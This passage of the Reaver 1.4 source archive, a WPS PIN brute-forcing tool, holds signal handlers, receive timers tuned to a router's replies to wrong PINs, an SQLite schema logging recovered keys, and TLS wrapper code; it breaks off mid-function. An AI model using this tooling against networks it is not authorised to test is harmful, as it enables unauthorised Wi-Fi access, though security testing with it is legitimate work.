OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "sigalrm.h" /* Initializes SIGALRM handler */ void sigalrm_init() { struct sigaction act; memset(&act, 0, sizeof(struct sigaction)); act.sa_handler = alarm_handler; sigaction (SIGALRM, &act, 0); } /* Starts receive timer. Called from send_packet() after a packet is trasmitted */ void start_timer() { struct itimerval timer; struct wps_data *wps = get_wps(); memset(&timer, 0, sizeof(struct itimerval)); /* * The M5 and M7 messages have very fast turn around times - * typically a few hundreths of a second. We don't want to wait * around forever to see if we get them or not, so use a short * timeout value when waiting for those messages. * Ignore this timeout if we know the AP responds with NACKs when * the wrong pin is supplied instead of not responding at all. */ if(get_timeout_is_nack() && (wps->state == RECV_M5 || wps->state == RECV_M7)) { timer.it_value.tv_usec = get_m57_timeout(); } else { /* * Other messages may take up to 2 seconds to respond - * wait a little longer for them. */ timer.it_value.tv_sec = get_rx_timeout(); } set_out_of_time(0); setitimer(ITIMER_REAL, &timer, 0); } /* Timer is stopped by process_packet() when any valid EAP packet is received */ void stop_timer() { struct itimerval timer; set_out_of_time(0); memset(&timer, 0, sizeof(struct itimerval)); setitimer(ITIMER_REAL, &timer, 0); } /* Handles SIGALRM interrupts */ void alarm_handler(int x) { set_out_of_time(1); cprintf(VERBOSE, "[!] WARNING: Receive timeout occurred\n"); } reaver-1.4/src/sql.h0000644000175000017500000000577011705505260013745 0ustar reaverreaver/* * Reaver - SQLite wrapper functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _SQL_H_ #define _SQL_H_ #include #include #include #include #include "defs.h" #include "globule.h" #ifndef REAVER_DATABASE #define REAVER_DATABASE "/etc/reaver/reaver.db" #endif #define BUSY_WAIT_PERIOD 100 #define SETTINGS_TABLE "auto" #define HISTORY_TABLE "history" #define AP_TABLE "survey" #define DROP_TABLE "DROP TABLE %s" #define CREATE_TABLE "CREATE TABLE %s (bssid TEXT PRIMARY KEY NOT NULL, essid TEXT, manufacturer TEXT, model_name TEXT, model_number TEXT, device_name TEXT, version INTEGER DEFAULT 0, state INTEGER DEFAULT 0, locked INTEGER DEFAULT 0, encryption INTEGER DEFAULT 0, probes INTEGER DEFAULT 0, rssi TEXT, complete INTEGER DEFAULT 0, rowid INTEGER NOT NULL)" int sql_init(void); int create_ap_table(void); int update_probe_count(char *bssid); int update_ap_power(char *bssid, int8_t ssi); int update_history(char *bssid, char *essid, int attempts, char *key); int mark_ap_complete(char *bssid); int is_done(char *bssid); int should_probe(char *bssid); int update(char *bssid, char *essid, struct libwps_data *wps, int encryption); int insert(char *bssid, char *essid, struct libwps_data *wps, int encryption, int rssi); char *get_db_ssid(char *bssid); char **auto_detect_settings(char *bssid, int *argc); int sql_exec(char *query); void *get(char *query, int *result_size, int *err_code); char *sql_error_string(void); void sql_cleanup(void); #endif reaver-1.4/src/sigint.c0000644000175000017500000000450611705505260014432 0ustar reaverreaver/* * Reaver - Sigint handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "sigint.h" /* Initializes SIGINT handler */ void sigint_init() { struct sigaction act; memset(&act, 0, sizeof(struct sigaction)); act.sa_handler = sigint_handler; sigaction (SIGINT, &act, 0); return; } /* Handles Ctrl+C */ void sigint_handler(int x) { /* If we have initiated a WPS exchange, try to end it before quitting */ if(get_wps() != NULL) { send_termination(); } /* * This is just here because I get annoyed when the terminal displays the * '^C' on the same line as my intentional output. */ printf("\n"); fflush(stdout); /* Save our session */ if(save_session()) { cprintf(INFO, "[+] Session saved.\n"); } /* Clean up and get out */ globule_deinit(); exit(EXIT_FAILURE); } reaver-1.4/src/crypto/0000755000175000017500000000000011705505260014304 5ustar reaverreaverreaver-1.4/src/crypto/tls_nss.c0000755000175000017500000003617611705505260016155 0ustar reaverreaver/* * SSL/TLS interface functions for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "common.h" #include "tls.h" static int tls_nss_ref_count = 0; static PRDescIdentity nss_layer_id; struct tls_connection { PRFileDesc *fd; int established; int verify_peer; u8 *push_buf, *pull_buf, *pull_buf_offset; size_t push_buf_len, pull_buf_len; }; static PRStatus nss_io_close(PRFileDesc *fd) { wpa_printf(MSG_DEBUG, "NSS: I/O close"); return PR_SUCCESS; } static PRInt32 nss_io_read(PRFileDesc *fd, void *buf, PRInt32 amount) { wpa_printf(MSG_DEBUG, "NSS: I/O read(%d)", amount); return PR_FAILURE; } static PRInt32 nss_io_write(PRFileDesc *fd, const void *buf, PRInt32 amount) { wpa_printf(MSG_DEBUG, "NSS: I/O write(%d)", amount); return PR_FAILURE; } static PRInt32 nss_io_writev(PRFileDesc *fd, const PRIOVec *iov, PRInt32 iov_size, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O writev(%d)", iov_size); return PR_FAILURE; } static PRInt32 nss_io_recv(PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { struct tls_connection *conn = (struct tls_connection *) fd->secret; u8 *end; wpa_printf(MSG_DEBUG, "NSS: I/O recv(%d)", amount); if (conn->pull_buf == NULL) { wpa_printf(MSG_DEBUG, "NSS: No data available to be read yet"); return PR_FAILURE; } end = conn->pull_buf + conn->pull_buf_len; if (end - conn->pull_buf_offset < amount) amount = end - conn->pull_buf_offset; os_memcpy(buf, conn->pull_buf_offset, amount); conn->pull_buf_offset += amount; if (conn->pull_buf_offset == end) { wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); os_free(conn->pull_buf); conn->pull_buf = conn->pull_buf_offset = NULL; conn->pull_buf_len = 0; } else { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", __func__, (unsigned long) (end - conn->pull_buf_offset)); } return amount; } static PRInt32 nss_io_send(PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { struct tls_connection *conn = (struct tls_connection *) fd->secret; u8 *nbuf; wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); wpa_hexdump(MSG_MSGDUMP, "NSS: I/O send data", buf, amount); nbuf = os_realloc(conn->push_buf, conn->push_buf_len + amount); if (nbuf == NULL) { wpa_printf(MSG_ERROR, "NSS: Failed to allocate memory for the " "data to be sent"); return PR_FAILURE; } os_memcpy(nbuf + conn->push_buf_len, buf, amount); conn->push_buf = nbuf; conn->push_buf_len += amount; return amount; } static PRInt32 nss_io_recvfrom(PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRNetAddr *addr, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); return PR_FAILURE; } static PRInt32 nss_io_sendto(PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, const PRNetAddr *addr, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); return PR_FAILURE; } static PRStatus nss_io_getpeername(PRFileDesc *fd, PRNetAddr *addr) { wpa_printf(MSG_DEBUG, "NSS: I/O getpeername"); /* * It Looks like NSS only supports IPv4 and IPv6 TCP sockets. Provide a * fake IPv4 address to work around this even though we are not really * using TCP. */ os_memset(addr, 0, sizeof(*addr)); addr->inet.family = PR_AF_INET; return PR_SUCCESS; } static PRStatus nss_io_getsocketoption(PRFileDesc *fd, PRSocketOptionData *data) { switch (data->option) { case PR_SockOpt_Nonblocking: wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(Nonblocking)"); data->value.non_blocking = PR_TRUE; return PR_SUCCESS; default: wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(%d)", data->option); return PR_FAILURE; } } static const PRIOMethods nss_io = { PR_DESC_LAYERED, nss_io_close, nss_io_read, nss_io_write, NULL /* available */, NULL /* available64 */, NULL /* fsync */, NULL /* fseek */, NULL /* fseek64 */, NULL /* fileinfo */, NULL /* fileinfo64 */, nss_io_writev, NULL /* connect */, NULL /* accept */, NULL /* bind */, NULL /* listen */, NULL /* shutdown */, nss_io_recv, nss_io_send, nss_io_recvfrom, nss_io_sendto, NULL /* poll */, NULL /* acceptread */, NULL /* transmitfile */, NULL /* getsockname */, nss_io_getpeername, NULL /* reserved_fn_6 */, NULL /* reserved_fn_5 */, nss_io_getsocketoption, NULL /* setsocketoption */, NULL /* sendfile */, NULL /* connectcontinue */, NULL /* reserved_fn_3 */, NULL /* reserved_fn_2 */, NULL /* reserved_fn_1 */, NULL /* reserved_fn_0 */ }; static char * nss_password_cb(PK11SlotInfo *slot, PRBool retry, void *arg) { wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); return NULL; } void * tls_init(const struct tls_config *conf) { char *dir; tls_nss_ref_count++; if (tls_nss_ref_count > 1) return (void *) 1; PR_Init(PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1); nss_layer_id = PR_GetUniqueIdentity("wpa_supplicant"); PK11_SetPasswordFunc(nss_password_cb); dir = getenv("SSL_DIR"); if (dir) { if (NSS_Init(dir) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_Init(cert_dir=%s) " "failed", dir); return NULL; } } else { if (NSS_NoDB_Init(NULL) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_NoDB_Init(NULL) " "failed"); return NULL; } } if (SSL_OptionSetDefault(SSL_V2_COMPATIBLE_HELLO, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_SSL3, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_SSL2, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_TLS, PR_TRUE) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: SSL_OptionSetDefault failed"); return NULL; } if (NSS_SetDomesticPolicy() != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_SetDomesticPolicy() failed"); return NULL; } return (void *) 1; } void tls_deinit(void *ssl_ctx) { tls_nss_ref_count--; if (tls_nss_ref_count == 0) { if (NSS_Shutdown() != SECSuccess) wpa_printf(MSG_ERROR, "NSS: NSS_Shutdown() failed"); } } int tls_get_errors(void *tls_ctx) { return 0; } static SECStatus nss_bad_cert_cb(void *arg, PRFileDesc *fd) { struct tls_connection *conn = arg; SECStatus res = SECSuccess; PRErrorCode err; CERTCertificate *cert; char *subject, *issuer; err = PR_GetError(); if (IS_SEC_ERROR(err)) wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (sec err " "%d)", err - SEC_ERROR_BASE); else wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (err %d)", err); cert = SSL_PeerCertificate(fd); subject = CERT_NameToAscii(&cert->subject); issuer = CERT_NameToAscii(&cert->issuer); wpa_printf(MSG_DEBUG, "NSS: Peer certificate subject='%s' issuer='%s'", subject, issuer); CERT_DestroyCertificate(cert); PR_Free(subject); PR_Free(issuer); if (conn->verify_peer) res = SECFailure; return res; } static void nss_handshake_cb(PRFileDesc *fd, void *client_data) { struct tls_connection *conn = client_data; wpa_printf(MSG_DEBUG, "NSS: Handshake completed"); conn->established = 1; } struct tls_connection * tls_connection_init(void *tls_ctx) { struct tls_connection *conn; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->fd = PR_CreateIOLayerStub(nss_layer_id, &nss_io); if (conn->fd == NULL) { os_free(conn); return NULL; } conn->fd->secret = (void *) conn; conn->fd = SSL_ImportFD(NULL, conn->fd); if (conn->fd == NULL) { os_free(conn); return NULL; } if (SSL_OptionSet(conn->fd, SSL_SECURITY, PR_TRUE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_CLIENT, PR_TRUE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_SERVER, PR_FALSE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_ENABLE_TLS, PR_TRUE) != SECSuccess || SSL_BadCertHook(conn->fd, nss_bad_cert_cb, conn) != SECSuccess || SSL_HandshakeCallback(conn->fd, nss_handshake_cb, conn) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: Failed to set options"); PR_Close(conn->fd); os_free(conn); return NULL; } SSL_ResetHandshake(conn->fd, PR_FALSE); return conn; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { PR_Close(conn->fd); os_free(conn->push_buf); os_free(conn->pull_buf); os_free(conn); } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { return conn->established; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *tls_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { conn->verify_peer = verify_peer; return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { /* NSS does not export master secret or client/server random. */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { if (conn == NULL || server_random_first) { wpa_printf(MSG_INFO, "NSS: Unsupported PRF request " "(server_random_first=%d)", server_random_first); return -1; } if (SSL_ExportKeyingMaterial(conn->fd, label, NULL, 0, out, out_len) != SECSuccess) { wpa_printf(MSG_INFO, "NSS: Failed to use TLS extractor " "(label='%s' out_len=%d", label, (int) out_len); return -1; } return 0; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct wpabuf *out_data; wpa_printf(MSG_DEBUG, "NSS: handshake: in_len=%u", in_data ? (unsigned int) wpabuf_len(in_data) : 0); if (appl_data) *appl_data = NULL; if (in_data && wpabuf_len(in_data) > 0) { if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) conn->pull_buf_len); os_free(conn->pull_buf); } conn->pull_buf = os_malloc(wpabuf_len(in_data)); if (conn->pull_buf == NULL) return NULL; os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data)); conn->pull_buf_offset = conn->pull_buf; conn->pull_buf_len = wpabuf_len(in_data); } SSL_ForceHandshake(conn->fd); if (conn->established && conn->push_buf == NULL) { /* Need to return something to get final TLS ACK. */ conn->push_buf = os_malloc(1); } if (conn->push_buf == NULL) return NULL; out_data = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); if (out_data == NULL) os_free(conn->push_buf); conn->push_buf = NULL; conn->push_buf_len = 0; return out_data; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { PRInt32 res; struct wpabuf *buf; wpa_printf(MSG_DEBUG, "NSS: encrypt %d bytes", (int) wpabuf_len(in_data)); res = PR_Send(conn->fd, wpabuf_head(in_data), wpabuf_len(in_data), 0, 0); if (res < 0) { wpa_printf(MSG_ERROR, "NSS: Encryption failed"); return NULL; } if (conn->push_buf == NULL) return NULL; buf = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); if (buf == NULL) os_free(conn->push_buf); conn->push_buf = NULL; conn->push_buf_len = 0; return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { PRInt32 res; struct wpabuf *out; wpa_printf(MSG_DEBUG, "NSS: decrypt %d bytes", (int) wpabuf_len(in_data)); if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) conn->pull_buf_len); os_free(conn->pull_buf); } conn->pull_buf = os_malloc(wpabuf_len(in_data)); if (conn->pull_buf == NULL) return NULL; os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data)); conn->pull_buf_offset = conn->pull_buf; conn->pull_buf_len = wpabuf_len(in_data); /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (out == NULL) return NULL; res = PR_Recv(conn->fd, wpabuf_mhead(out), wpabuf_size(out), 0, 0); wpa_printf(MSG_DEBUG, "NSS: PR_Recv: %d", res); if (res < 0) { wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { return -1; } reaver-1.4/src/crypto/tls_gnutls.c0000755000175000017500000010700011705505260016647 0ustar reaverreaver/* * SSL/TLS interface functions for GnuTLS * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #ifdef PKCS12_FUNCS #include #endif /* PKCS12_FUNCS */ #ifdef CONFIG_GNUTLS_EXTRA #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 #define GNUTLS_IA #include #if LIBGNUTLS_VERSION_NUMBER == 0x010302 /* This function is not included in the current gnutls/extra.h even though it * should be, so define it here as a workaround for the time being. */ int gnutls_ia_verify_endphase(gnutls_session_t session, char *checksum); #endif /* LIBGNUTLS_VERSION_NUMBER == 0x010302 */ #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* CONFIG_GNUTLS_EXTRA */ #include "common.h" #include "tls.h" #ifndef TLS_RANDOM_SIZE #define TLS_RANDOM_SIZE 32 #endif #ifndef TLS_MASTER_SIZE #define TLS_MASTER_SIZE 48 #endif #if LIBGNUTLS_VERSION_NUMBER < 0x010302 /* GnuTLS 1.3.2 added functions for using master secret. Older versions require * use of internal structures to get the master_secret and * {server,client}_random. */ #define GNUTLS_INTERNAL_STRUCTURE_HACK #endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK /* * It looks like gnutls does not provide access to client/server_random and * master_key. This is somewhat unfortunate since these are needed for key * derivation in EAP-{TLS,TTLS,PEAP,FAST}. Workaround for now is a horrible * hack that copies the gnutls_session_int definition from gnutls_int.h so that * we can get the needed information. */ typedef u8 uint8; typedef unsigned char opaque; typedef struct { uint8 suite[2]; } cipher_suite_st; typedef struct { gnutls_connection_end_t entity; gnutls_kx_algorithm_t kx_algorithm; gnutls_cipher_algorithm_t read_bulk_cipher_algorithm; gnutls_mac_algorithm_t read_mac_algorithm; gnutls_compression_method_t read_compression_algorithm; gnutls_cipher_algorithm_t write_bulk_cipher_algorithm; gnutls_mac_algorithm_t write_mac_algorithm; gnutls_compression_method_t write_compression_algorithm; cipher_suite_st current_cipher_suite; opaque master_secret[TLS_MASTER_SIZE]; opaque client_random[TLS_RANDOM_SIZE]; opaque server_random[TLS_RANDOM_SIZE]; /* followed by stuff we are not interested in */ } security_parameters_st; struct gnutls_session_int { security_parameters_st security_parameters; /* followed by things we are not interested in */ }; #endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ static int tls_gnutls_ref_count = 0; struct tls_global { /* Data for session resumption */ void *session_data; size_t session_data_size; int server; int params_set; gnutls_certificate_credentials_t xcred; }; struct tls_connection { gnutls_session session; char *subject_match, *altsubject_match; int read_alerts, write_alerts, failed; u8 *pre_shared_secret; size_t pre_shared_secret_len; int established; int verify_peer; struct wpabuf *push_buf; struct wpabuf *pull_buf; const u8 *pull_buf_offset; int params_set; gnutls_certificate_credentials_t xcred; int tls_ia; int final_phase_finished; #ifdef GNUTLS_IA gnutls_ia_server_credentials_t iacred_srv; gnutls_ia_client_credentials_t iacred_cli; /* Session keys generated in the current phase for inner secret * permutation before generating/verifying PhaseFinished. */ u8 *session_keys; size_t session_keys_len; u8 inner_secret[TLS_MASTER_SIZE]; #endif /* GNUTLS_IA */ }; static void tls_log_func(int level, const char *msg) { char *s, *pos; if (level == 6 || level == 7) { /* These levels seem to be mostly I/O debug and msg dumps */ return; } s = os_strdup(msg); if (s == NULL) return; pos = s; while (*pos != '\0') { if (*pos == '\n') { *pos = '\0'; break; } pos++; } wpa_printf(level > 3 ? MSG_MSGDUMP : MSG_DEBUG, "gnutls<%d> %s", level, s); os_free(s); } extern int wpa_debug_show_keys; void * tls_init(const struct tls_config *conf) { struct tls_global *global; #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK /* Because of the horrible hack to get master_secret and client/server * random, we need to make sure that the gnutls version is something * that is expected to have same structure definition for the session * data.. */ const char *ver; const char *ok_ver[] = { "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.9", "1.3.2", NULL }; int i; #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; if (tls_gnutls_ref_count == 0 && gnutls_global_init() < 0) { os_free(global); return NULL; } tls_gnutls_ref_count++; #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK ver = gnutls_check_version(NULL); if (ver == NULL) { tls_deinit(global); return NULL; } wpa_printf(MSG_DEBUG, "%s - gnutls version %s", __func__, ver); for (i = 0; ok_ver[i]; i++) { if (strcmp(ok_ver[i], ver) == 0) break; } if (ok_ver[i] == NULL) { wpa_printf(MSG_INFO, "Untested gnutls version %s - this needs " "to be tested and enabled in tls_gnutls.c", ver); tls_deinit(global); return NULL; } #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ gnutls_global_set_log_function(tls_log_func); if (wpa_debug_show_keys) gnutls_global_set_log_level(11); return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; if (global) { if (global->params_set) gnutls_certificate_free_credentials(global->xcred); os_free(global->session_data); os_free(global); } tls_gnutls_ref_count--; if (tls_gnutls_ref_count == 0) gnutls_global_deinit(); } int tls_get_errors(void *ssl_ctx) { return 0; } static ssize_t tls_pull_func(gnutls_transport_ptr ptr, void *buf, size_t len) { struct tls_connection *conn = (struct tls_connection *) ptr; const u8 *end; if (conn->pull_buf == NULL) { errno = EWOULDBLOCK; return -1; } end = wpabuf_head_u8(conn->pull_buf) + wpabuf_len(conn->pull_buf); if ((size_t) (end - conn->pull_buf_offset) < len) len = end - conn->pull_buf_offset; os_memcpy(buf, conn->pull_buf_offset, len); conn->pull_buf_offset += len; if (conn->pull_buf_offset == end) { wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); wpabuf_free(conn->pull_buf); conn->pull_buf = NULL; conn->pull_buf_offset = NULL; } else { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", __func__, (unsigned long) (end - conn->pull_buf_offset)); } return len; } static ssize_t tls_push_func(gnutls_transport_ptr ptr, const void *buf, size_t len) { struct tls_connection *conn = (struct tls_connection *) ptr; if (wpabuf_resize(&conn->push_buf, len) < 0) { errno = ENOMEM; return -1; } wpabuf_put_data(conn->push_buf, buf, len); return len; } static int tls_gnutls_init_session(struct tls_global *global, struct tls_connection *conn) { const int cert_types[2] = { GNUTLS_CRT_X509, 0 }; const int protos[2] = { GNUTLS_TLS1, 0 }; int ret; ret = gnutls_init(&conn->session, global->server ? GNUTLS_SERVER : GNUTLS_CLIENT); if (ret < 0) { wpa_printf(MSG_INFO, "TLS: Failed to initialize new TLS " "connection: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_set_default_priority(conn->session); if (ret < 0) goto fail; ret = gnutls_certificate_type_set_priority(conn->session, cert_types); if (ret < 0) goto fail; ret = gnutls_protocol_set_priority(conn->session, protos); if (ret < 0) goto fail; gnutls_transport_set_pull_function(conn->session, tls_pull_func); gnutls_transport_set_push_function(conn->session, tls_push_func); gnutls_transport_set_ptr(conn->session, (gnutls_transport_ptr) conn); return 0; fail: wpa_printf(MSG_INFO, "TLS: Failed to setup new TLS connection: %s", gnutls_strerror(ret)); gnutls_deinit(conn->session); return -1; } struct tls_connection * tls_connection_init(void *ssl_ctx) { struct tls_global *global = ssl_ctx; struct tls_connection *conn; int ret; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; if (tls_gnutls_init_session(global, conn)) { os_free(conn); return NULL; } if (global->params_set) { ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, global->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "Failed to configure " "credentials: %s", gnutls_strerror(ret)); os_free(conn); return NULL; } } if (gnutls_certificate_allocate_credentials(&conn->xcred)) { os_free(conn); return NULL; } return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; #ifdef GNUTLS_IA if (conn->iacred_srv) gnutls_ia_free_server_credentials(conn->iacred_srv); if (conn->iacred_cli) gnutls_ia_free_client_credentials(conn->iacred_cli); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } #endif /* GNUTLS_IA */ gnutls_certificate_free_credentials(conn->xcred); gnutls_deinit(conn->session); os_free(conn->pre_shared_secret); os_free(conn->subject_match); os_free(conn->altsubject_match); wpabuf_free(conn->push_buf); wpabuf_free(conn->pull_buf); os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->established : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { struct tls_global *global = ssl_ctx; int ret; if (conn == NULL) return -1; /* Shutdown previous TLS connection without notifying the peer * because the connection was already terminated in practice * and "close notify" shutdown alert would confuse AS. */ gnutls_bye(conn->session, GNUTLS_SHUT_RDWR); wpabuf_free(conn->push_buf); conn->push_buf = NULL; conn->established = 0; conn->final_phase_finished = 0; #ifdef GNUTLS_IA if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys_len = 0; #endif /* GNUTLS_IA */ gnutls_deinit(conn->session); if (tls_gnutls_init_session(global, conn)) { wpa_printf(MSG_INFO, "GnuTLS: Failed to preparare new session " "for session resumption use"); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, conn->params_set ? conn->xcred : global->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "GnuTLS: Failed to configure credentials " "for session resumption: %s", gnutls_strerror(ret)); return -1; } if (global->session_data) { ret = gnutls_session_set_data(conn->session, global->session_data, 